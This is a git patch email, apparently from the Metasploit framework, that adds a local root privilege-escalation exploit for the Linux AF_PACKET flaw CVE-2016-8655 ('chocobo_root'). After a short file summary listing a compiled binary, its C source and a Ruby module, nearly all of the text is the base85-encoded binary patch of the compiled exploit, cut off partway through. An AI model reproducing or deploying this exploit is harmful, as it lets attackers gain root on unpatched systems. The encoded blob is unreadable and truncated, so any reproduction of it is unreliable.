From 5ae9b0185d04fde0d7cfb2210ad3e272cdde1a2c Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 7 May 2018 07:11:07 +0000 Subject: [PATCH 1/5] Add AF_PACKET chocobo_root Privilege Escalation exploit --- data/exploits/CVE-2016-8655/chocobo_root | Bin 0 -> 83976 bytes data/exploits/CVE-2016-8655/chocobo_root.c | 945 ++++++++++++++++++ .../local/af_packet_chocobo_root_priv_esc.rb | 193 ++++ 3 files changed, 1138 insertions(+) create mode 100644 data/exploits/CVE-2016-8655/chocobo_root create mode 100644 data/exploits/CVE-2016-8655/chocobo_root.c create mode 100644 modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb diff --git a/data/exploits/CVE-2016-8655/chocobo_root b/data/exploits/CVE-2016-8655/chocobo_root new file mode 100644 index 0000000000000000000000000000000000000000..2095807181687207f1946886e9c7dfb6f12a1057 GIT binary patch literal 83976 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 